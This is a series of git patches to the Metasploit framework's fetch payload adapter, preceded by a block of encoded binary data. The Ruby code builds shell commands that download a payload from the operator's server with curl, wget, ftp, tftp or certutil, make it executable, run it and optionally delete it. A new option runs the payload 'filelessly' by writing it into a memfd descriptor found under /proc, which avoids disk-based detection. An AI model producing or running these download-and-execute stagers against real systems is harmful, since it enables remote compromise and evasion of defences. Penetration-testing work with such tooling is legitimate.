zE=h5k&zAzup^Kn#riV>6=%3e!_ZjjkOY(b9-lC0qdX$u(LYkg+Lr zn6qEEi%!`os)L6WQ?sl+qySMt_$Z<_10xzY>y*w+R?X7Q>QZ|4g7kW?V3n4wT9GAz zTbDlK59!;H^txMTT5GVdMp^*JrVh^R**iW~*mrPBnn$-WRhiNqP_3{ul$Jw!o>W6G z@1mi&Q^u!^U36q%(fRzkMc*Qsbb4+Cg|om~Q{}EcK7HYqTvVu5lXe$|@pyR8%mH1F zs5QskqE(TRD%s0OF1wx5f=)vv%M?OS4OMu_wf$OJ%TksXsFC85 zGg z=T)^L6_dUfYxF+7Pf7QvSpK5!h1F={*oGUYn4@XA=-UJE!kept}yv{KBHM(oZWG$y2^Dasj}wXWqX)RLIv5a zt~v|0k7CVe8Fv@UsCM1|P)wG$s;n~lL@{3!8=^_NGwRShZ3@S4)NPNhB?}9u<^+ya zab9c>U1)g={&32yp3Mw#*!1>%evb*M&*$|{F(v!|*RhxXrZ~>o|I0t}^A+~`Zt(Nh0}wB7sB#i3Ab}Boas@kVqhrKq7%e0*M3? z2|NfAFpiMO9n#Cpi4jv9Df-;Q3K?2V3Uw=3)Q`q5sBPFgv+QHjk%K3GcQ*6fY<5n& zYV{RTgK|V?|x=5*vAziFGoj2o-lg@j**tFW?HEmiHw0XqX z?;;bNDG#+fe!N+?_`NV2agoF?&t`U*3iFz-Zv1Ai?At7Yb7H7gSYv{QSL4HZ!ERCo&fl(zU!_yoKcUJTMcTj4?ak-kW8v>e|a8Zbc&YFf|lto zt<#c#3C9?+wM8;_d{1Wg?Dov%bK8#pX0AP{d_ERwkG-6>t#`x`RmD=uG=L7)d;h|%_K8TJYNWg0m%#B;um zF$oK*zci!e2ahHIg*nry6vQ$*qz$YS+S86zkjo9v&gb`9B^>T$X8}XJQIB!`r2UcY zT2oaUgm&Q5)uATFa@_F6+$z@gpd8dyvEtwcN=F`vI#%VNV0)hH4Qc1mxKnGKP&4~y z4u_AndJvXQZ3*|SWl7RfG6NVVAHTF*OfplDA?{1b74Jnh%&t3fp}SVCSe30?*P9;V z6U(5Qtl*DTrtGn55+&j4&figVDc3rMr2>WS3mNQ$G8FMc9$l-V7lgZfiOHtav$khA`<4hg%5O z5I!17r4=6#HL-Z}Vv$g7Zk0K8{w}FyN5ifgEv5Cvpqh}7rCtrYD4_}zgF({pw6jj? z;P+@jxgKx9$n&goh<-tX)GJnio2{CSKKR+PfvE^Wi~aQI+8f6Vx>jpB-y3(V}= zu^p`s!r$Wyg7DJrc(Les@z?}ix-iKu!A35_UhzC;WHp~?4HxOzX1&&yZQn)rCXiM*h))C`NK3&XF`@Q$22O5yYIXY-a6QY_Y*M{R#Xk{dwc{U$)zW$j--A`wz^cdJw`J%WDwh|^%r_pdqQpWOnrQ5U^ zn%SUx7VIH;zdQX%+?$&ckJLi7&SXxQrFinD3ELBK?DcW9uyRV{` z5qKGCb!8NAdUR}R=E%&!FnnrIISV!8eU08R&$Z@W@qtQU44Wk41x!-SjYF)Hw!cBJ z6RPn1NDB}c+A5u%bYu-Ao?DrGbj)AA&l9n-%XDBCRX<+=iiBoHqUl|L_!F@Lj1nYt ze-vPa#pn73h(8f4z_F{wX6}yy1T~rX*KdRPBe5dP9J-%cVZ#!{9*E`N%v~?6yE@?L z;Rh(Z9+bg`3AhUO z!^QA3>;NBtcf;G@t?){igNxv^*adEbkHanSr*H$DfUWQhxE&k8?}CCm*#F-O0aV}! zOu{%wJ+6gkhI{|p`FtbDzJ3WZa1VR+JK=*+gXhC#a6UW%?qd&sGrS9Kgg=7chwI@w zSb#~`4fnCHzX#q5vd^D@eeeVJ`QL_rfzQCF;a%`5cnKVUOW}XdVy_P$f^NE*0BSK>ZJEwrY; zxLV_8v_6PE5Kf8V$&E6VSk_^vsEV45^O zQ}<4%Pd6cBaa&g8Xy%Q@+ z%?=Z8UMoADSL7*PxI%3iDof~bj^SO*ZEg= zww5{{+dp~a(7s(eIxjQqb?*vGJ%GVO0w)Jg$~sb3&;{;M zDXUXz!Lw1~E-RlZg~zE-RGG@Km;iRDxw*EC5RcAiWsy8^7Fbvo%>#qlU=nI{4kGB{ zv76u^nM-KA1k4kG&#r~VOf(Nf4irKOxhggmtLD~Lt8T;B7OOCgit8@vU|<{b?<$d^ z)p@r<+;zpNEpeE|QORwWk#*6*VR!0Olr)Bn7U~RF^|a-T6TiE{9LEltHhsE z_;5`gy-WAtzi7IYhJJAMZ@9-+8K%Xe#co1nFy@3d_l~tmA0=%R+~(#Av(FwqFgE&v zf^6oSrdEjtj$2uqJN=&a@aV1_U=Zs<)0YzMdFTYh49ig}b_PwGIwzJyV-n9EFqjBr z*Qc#84_I=xM~`-MBt(flA>3o(NsO!uS$_05@3HigCY5DIU%__I5bMgdl|`u3IKUI0 zbM3o0i!zV)#vPM~7+LgHax$GgYV zt>-(Om2qEXI_9Iqz$+*CmWi7$g**3{-7d;p5*95;?~mD?In9mkEiUeLEw7ZF=fs%q zlz0WB0Ues(oqA+=4~={{7Uif;O498p=w`gCPPJaKt8%catyE&BX!o^dIn8VB?j<|z z|7Q!C`kwrc{eL6e|NoG^{yRbZ|F4JFfe*7V4(Gzz@EP{^AA=RB!Fg~l$a#XVz?b1x z_)B;#yc`{n7#cg;5s-7+h7oW9c15s4t$3_|6OnkydT~G@;w7r!gty8e-l0q ze*+(do8Wp_hAnUo+=4yeeIRiG)1htPC)fi18zeU14)_qf18Q(JTma|5zhM*jEc_0v z!V6#w_CXq+3_ryd@D_MAjKe70iyh!wa3_2k?tpi~E8({x3+KVtu>*V&{t&K*WAH*a z441&8;cWOSc7QL!7vN*C0?RN8&wwvs2Y3&7up7>SAJMMg2i?B9ZChicSJ()9|CDsf zKKB>_k&&u*6wt#Uj3?JKil-T_lQZM8BU&e&)xMzk)woY6ejOQg%^q>zIZhKT;>cOo zBQl3ph+-xBG(@CP^mNfXg}C~Rv~vF^TMD|zGktV*_mlBFANmFpG2-hLVULAN=90~lBH=}LV8Cj&rQB=-4_g!%INI$f(osRh$8u9@t; zlrUzn6}fcq;U7gnzH9Md`)J+XgAD4s@b&do8JehRpX7h z(I~-Q_aJ+)&>sD!rkD`58?(p!()3YwjlwA1ZspfGzqGtiJ=S@WOiu;ZnaZZL8YxDL z$(~EO*1&iG<|y(1{{wsMEPHX;|3}}y|4H`tH-ZBba24!_A^0-;`+tY`!W>)(-{bv{ z!L=|0{HZbR+n01Rko+VPNFm+ z!KBZ<4gF`yDf)-wDSDcGy-x8EcB;z$|0w?JdHme6|Gy#}kaw}qe?Qy=CCGyK`yU0L zWWWD15P!eK`acHlW{>|l_$a&sZUnId?1jh%Z~>p61Lwgb;2!J_cfpPDGPnXp;2Ze$ zzXY!UiTQWIfkoI0^7jRv1z*9h|5=dl2Y5Ni8G!xpKlt~*1AhlMgZ%x0o8Wqozdf)O z&V^49o#QyKdjwY_=t zj+1p2Icc{Vo}}wIp+#&CXL7ZaO(d6?CaL* diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 3cdda3b6e0e1..e1e559588a84 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -94,15 +94,15 @@ def generate_fetch_commands # case datastore['FETCH_COMMAND'].upcase when 'FTP' - return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command + return datastore['FETCH_FILELESS'] && linux? ? _generate_ftp_command_fileless : _generate_ftp_command when 'TNFTP' - return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command + return datastore['FETCH_FILELESS'] && linux? ? _generate_tnftp_command_fileless : _generate_tnftp_command when 'WGET' - return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command + return datastore['FETCH_FILELESS'] && linux? ? _generate_wget_command_fileless : _generate_wget_command when 'CURL' - return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command + return datastore['FETCH_FILELESS'] && linux? ? _generate_curl_command_fileless : _generate_curl_command when 'TFTP' - return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command + return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command # ignoring certutil when FETCH_FILELESS is enabled when 'CERTUTIL' return _generate_certutil_command @@ -155,6 +155,13 @@ def windows? @windows end + def linux? + return @linux unless @linux.nil? + + @linux = platform.platforms.first == Msf::Module::Platform::Linux + @linux + end + def _check_tftp_port # Most tftp clients do not have configurable ports if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? From e3bb4791e1a80a3a8b371139d755a3c3c1ce0814 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 5 Feb 2025 13:55:58 +0100 Subject: [PATCH 06/12] Refactoring based on comments --- lib/msf/core/payload/adapter/fetch.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index e1e559588a84..d067ce3eaeef 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -4,7 +4,7 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]), + Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set @@ -103,7 +103,7 @@ def generate_fetch_commands return datastore['FETCH_FILELESS'] && linux? ? _generate_curl_command_fileless : _generate_curl_command when 'TFTP' return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command - # ignoring certutil when FETCH_FILELESS is enabled + # FETCH_FILELESS isn't supported for certutil for now when 'CERTUTIL' return _generate_certutil_command else From 50c95af7e063de00a11074eb686d76502cd973b4 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Feb 2025 11:28:05 +0100 Subject: [PATCH 07/12] Refactoring fileless execution, adjusting generating fetch commands --- lib/msf/core/payload/adapter/fetch.rb | 109 +++++------------- .../payload/adapter/fetch/linux_options.rb | 8 +- 2 files changed, 36 insertions(+), 81 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index d067ce3eaeef..5fe53e860eb7 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -4,13 +4,11 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex: /^\S*$/) ] ) register_advanced_options( @@ -94,16 +92,15 @@ def generate_fetch_commands # case datastore['FETCH_COMMAND'].upcase when 'FTP' - return datastore['FETCH_FILELESS'] && linux? ? _generate_ftp_command_fileless : _generate_ftp_command + return _generate_ftp_command when 'TNFTP' - return datastore['FETCH_FILELESS'] && linux? ? _generate_tnftp_command_fileless : _generate_tnftp_command + return _generate_tnftp_command when 'WGET' - return datastore['FETCH_FILELESS'] && linux? ? _generate_wget_command_fileless : _generate_wget_command + return _generate_wget_command when 'CURL' - return datastore['FETCH_FILELESS'] && linux? ? _generate_curl_command_fileless : _generate_curl_command + return _generate_curl_command when 'TFTP' - return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command - # FETCH_FILELESS isn't supported for certutil for now + return _generate_tftp_command when 'CERTUTIL' return _generate_certutil_command else @@ -260,20 +257,6 @@ def _generate_fileless(get_file_cmd) end def _generate_curl_command - case fetch_protocol - when 'HTTP' - cmd = "curl -so #{_remote_destination} http://#{download_uri}" - when 'HTTPS' - cmd = "curl -sko #{_remote_destination} https://#{download_uri}" - when 'TFTP' - cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - cmd + _execute_add - end - - def _generate_curl_command_fileless case fetch_protocol when 'HTTP' fetch_command = "curl http://#{download_uri} -so" @@ -284,34 +267,29 @@ def _generate_curl_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command + ' $f') - end - - def _generate_ftp_command - case fetch_protocol - when 'FTP' - "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" - when 'HTTP' - "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" - when 'HTTPS' - "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + if datastore['FETCH_FILELESS'] && linux? + return _generate_fileless(fetch_command + ' $f') else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + return fetch_command + " #{_remote_destination}#{_execute_add}" end end - def _generate_ftp_command_fileless + def _generate_ftp_command case fetch_protocol when 'FTP' fetch_command = "ftp ftp://#{download_uri} -Vo" when 'HTTP' fetch_command = "ftp http://#{download_uri} -Vo" when 'HTTPS' - fetch_command = "ftp https://#{download_uri}#{_execute_nix} -Vo" + fetch_command = "ftp https://#{download_uri} -Vo" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command + ' $f') + if datastore['FETCH_FILELESS'] && linux? + return _generate_fileless(fetch_command + ' $f') + else + return fetch_command + " #{_remote_destination_nix}#{_execute_nix}" + end end def _generate_tftp_command @@ -319,43 +297,22 @@ def _generate_tftp_command case fetch_protocol when 'TFTP' if windows? - cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" + fetch_command = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" else _check_tftp_file - cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + if datastore['FETCH_FILELESS'] && linux? + return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}") + else + fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + end end else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - cmd - end - - def _generate_tftp_command_fileless - _check_tftp_port - case fetch_protocol - when 'TFTP' - _check_tftp_file - fetch_command = "(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - _generate_fileless(fetch_command) + fetch_command end def _generate_tnftp_command - case fetch_protocol - when 'FTP' - "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" - when 'HTTP' - "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" - when 'HTTPS' - "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - end - - def _generate_tnftp_command_fileless case fetch_protocol when 'FTP' fetch_command = "tnftp ftp://#{download_uri} -Vo" @@ -366,22 +323,14 @@ def _generate_tnftp_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command + ' $f') - end - - def _generate_wget_command - case fetch_protocol - when 'HTTPS' - cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" - when 'HTTP' - cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + if datastore['FETCH_FILELESS'] && linux? + return _generate_fileless(fetch_command + ' $f') else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + return fetch_command + " #{_remote_destination_nix}#{_execute_nix}" end - cmd + _execute_add end - def _generate_wget_command_fileless + def _generate_wget_command case fetch_protocol when 'HTTPS' fetch_command = "wget --no-check-certificate https://#{download_uri} -qO" @@ -390,7 +339,11 @@ def _generate_wget_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command + ' $f') + if datastore['FETCH_FILELESS'] && linux? + return _generate_fileless(fetch_command + ' $f') + else + return fetch_command + " #{_remote_destination}#{_execute_add}" + end end def _remote_destination diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index 4c162e934a46..d9e168989d24 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -6,8 +6,10 @@ def initialize(info = {}) )) register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]) - ] + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]), + Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), + ], + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/) ) end -end \ No newline at end of file +end From 6d073540e8a1de08ed07e8ad835477d77ba385da Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Feb 2025 19:22:36 +0100 Subject: [PATCH 08/12] More elegant way of generating fileless payload, code refactor based on comments --- lib/msf/core/payload/adapter/fetch.rb | 47 ++++++++++--------- .../payload/adapter/fetch/linux_options.rb | 16 ++++--- 2 files changed, 35 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 5fe53e860eb7..936eed570483 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -243,13 +243,13 @@ def _generate_fileless(get_file_cmd) # if found one, try to download payload into the anonymous file # and execute it cmd << '; then while read f' - cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]' + cmd << '; do if [[ $(ls -al $f | grep -o memfd) ]]' cmd << "; then #{get_file_cmd}" cmd << '; $f' cmd << '; FOUND=1' cmd << '; break' cmd << '; fi' - cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)' + cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; fi' cmd << '; done' @@ -259,36 +259,36 @@ def _generate_fileless(get_file_cmd) def _generate_curl_command case fetch_protocol when 'HTTP' - fetch_command = "curl http://#{download_uri} -so" + fetch_command = "curl -so #{_remote_destination} http://#{download_uri}" when 'HTTPS' - fetch_command = "curl https://#{download_uri} -sko" + fetch_command = "curl -sko #{_remote_destination} https://#{download_uri}" when 'TFTP' - fetch_command = "curl tftp://#{download_uri} -so" + fetch_command = "curl -so #{_remote_destination} tftp://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command + ' $f') + return _generate_fileless(fetch_command) else - return fetch_command + " #{_remote_destination}#{_execute_add}" + return fetch_command + " #{_execute_add}" end end def _generate_ftp_command case fetch_protocol when 'FTP' - fetch_command = "ftp ftp://#{download_uri} -Vo" + fetch_command = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" when 'HTTP' - fetch_command = "ftp http://#{download_uri} -Vo" + fetch_command = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" when 'HTTPS' - fetch_command = "ftp https://#{download_uri} -Vo" + fetch_command = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command + ' $f') + return _generate_fileless(fetch_command) else - return fetch_command + " #{_remote_destination_nix}#{_execute_nix}" + return fetch_command + "#{_execute_nix}" end end @@ -315,34 +315,35 @@ def _generate_tftp_command def _generate_tnftp_command case fetch_protocol when 'FTP' - fetch_command = "tnftp ftp://#{download_uri} -Vo" + fetch_command = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" when 'HTTP' - fetch_command = "tnftp http://#{download_uri} -Vo" + fetch_command = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}" when 'HTTPS' - fetch_command = "tnftp https://#{download_uri} -Vo" + fetch_command = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command + ' $f') + return _generate_fileless(fetch_command) else - return fetch_command + " #{_remote_destination_nix}#{_execute_nix}" + return fetch_command + "#{_execute_nix}" end end def _generate_wget_command case fetch_protocol when 'HTTPS' - fetch_command = "wget --no-check-certificate https://#{download_uri} -qO" + fetch_command = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" when 'HTTP' - fetch_command = "wget http://#{download_uri} -qO" + fetch_command = "wget -qO #{_remote_destination} http://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end + if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command + ' $f') + return _generate_fileless(fetch_command) else - return fetch_command + " #{_remote_destination}#{_execute_add}" + return fetch_command + "#{_execute_add}" end end @@ -355,6 +356,10 @@ def _remote_destination def _remote_destination_nix return @remote_destination_nix unless @remote_destination_nix.nil? + if datastore['FETCH_FILELESS'] + @remote_destination_nix = '$f' + return @remote_destination_nix + end writable_dir = datastore['FETCH_WRITABLE_DIR'] writable_dir = '.' if writable_dir.blank? writable_dir += '/' unless writable_dir[-1] == '/' diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index d9e168989d24..eb4654a3e30a 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -1,15 +1,17 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions - def initialize(info = {}) - super(update_info(info, - 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } - )) + super( + update_info( + info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } + ) + ) register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]), + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), - ], - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/) + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false']) + ] ) end end From ed648e9ecac3e7753dfae71874a2628ed03adf7d Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 7 Feb 2025 10:12:28 +0100 Subject: [PATCH 09/12] Adding more reliable fileless fetch payload --- lib/msf/core/payload/adapter/fetch.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 936eed570483..d407ad090b47 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -237,19 +237,20 @@ def _generate_fileless(get_file_cmd) cmd = 'FOUND=0' cmd << ";for i in $(ps -u $USER | awk '{print $1}')" # already found anonymous file where we can write - cmd << '; do if [[ $FOUND -eq 0 ]]' + cmd << '; do if [ $FOUND -eq 0 ]' # look for every symbolic link with write rwx permissions # if found one, try to download payload into the anonymous file # and execute it - cmd << '; then while read f' - cmd << '; do if [[ $(ls -al $f | grep -o memfd) ]]' - cmd << "; then #{get_file_cmd}" - cmd << '; $f' + cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' + cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' + cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]" + cmd << '; then $f' cmd << '; FOUND=1' cmd << '; break' cmd << '; fi' - cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' + cmd << '; fi' + cmd << '; done' cmd << '; fi' cmd << '; done' From 881ae72550b8e85f664d9e154aaf7e259226874a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 9 Feb 2025 09:17:19 +0100 Subject: [PATCH 10/12] Optimizing execution of fetch command in bash --- lib/msf/core/payload/adapter/fetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index d407ad090b47..6ceb94fb7820 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -244,7 +244,7 @@ def _generate_fileless(get_file_cmd) # and execute it cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]" + cmd << "; then if $(#{get_file_cmd} >/dev/null)" cmd << '; then $f' cmd << '; FOUND=1' cmd << '; break' From 46e97e3776c578410161ece404a191360ebbc3a0 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 13 Feb 2025 11:35:06 -0600 Subject: [PATCH 11/12] Slight fixes and prep for adding piped fetch payloads --- lib/msf/core/payload/adapter/fetch.rb | 72 ++++++++----------- .../payload/adapter/fetch/linux_options.rb | 10 +-- .../payload/adapter/fetch/windows_options.rb | 2 +- 3 files changed, 33 insertions(+), 51 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 6ceb94fb7820..44d4fa65f7e4 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -4,7 +4,6 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), @@ -197,20 +196,23 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) comm || ::Rex::Socket::Comm::Local end - def _execute_add - return _execute_win if windows? + def _execute_add(get_file_cmd) + return _execute_win(get_file_cmd) if windows? - return _execute_nix + return _execute_nix(get_file_cmd) end - def _execute_win + def _execute_win(get_file_cmd) cmds = " & start /B #{_remote_destination_win}" cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] - cmds + get_file_cmd << cmds end - def _execute_nix - cmds = ";chmod +x #{_remote_destination_nix}" + def _execute_nix(get_file_cmd) + return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] + + cmds = get_file_cmd + cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds @@ -219,16 +221,16 @@ def _execute_nix def _generate_certutil_command case fetch_protocol when 'HTTP' - cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" when 'HTTPS' # I don't think there is a way to disable cert check in certutil.... print_error('CERTUTIL binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using 